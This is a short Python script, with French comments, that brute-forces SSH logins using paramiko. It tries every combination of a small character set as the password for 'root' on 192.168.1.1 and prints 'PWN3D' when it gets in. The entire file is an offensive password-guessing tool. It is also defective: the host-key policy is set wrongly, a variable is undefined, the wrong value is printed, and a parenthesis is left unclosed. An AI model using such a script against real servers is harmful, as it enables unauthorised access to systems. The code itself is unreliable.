import itertools as it
import paramiko

class BF:
    def __init__(self, charset, lenght, ip):
        self.charset = charset
        self.lenght = lenght
        self.ip = ip

    def create_client(self):
        client=paramiko.SSHClient()
        client_policy=paramiko.SSHClient()
        client.set_missing_host_key_policy(client_policy)
        return client

    def find(self, user):
        ssh_client=self.create_client()
        for guess in self.guesses:
            try:
                ssh_client.connect(ip,username=user,password=guess,timeout=5)
                print(ssh_client) #print finded password
                break
            except paramiko.AuthenticationException as err:
                print("BAD PASSWORD : {}".format(guess))
            finally:
                ssh_client.close() #evite de remplir le nombre de connection authorisées


    @property #transforme la methode en attribue => pouvoir iterer dessus
    def guesses(self):
        for guess in it.product(self.charset, repeat=self.lenght):
            yield ''.join(guess)

def main():
    bruteforce = BF('ort',4, '192.168.1.1')
    print('#### PWN3D #### : {}'.format(bruteforce.find('root'))


if __name__== '__main__':
    main()

# password < 8 char    a-z A-Z 0-9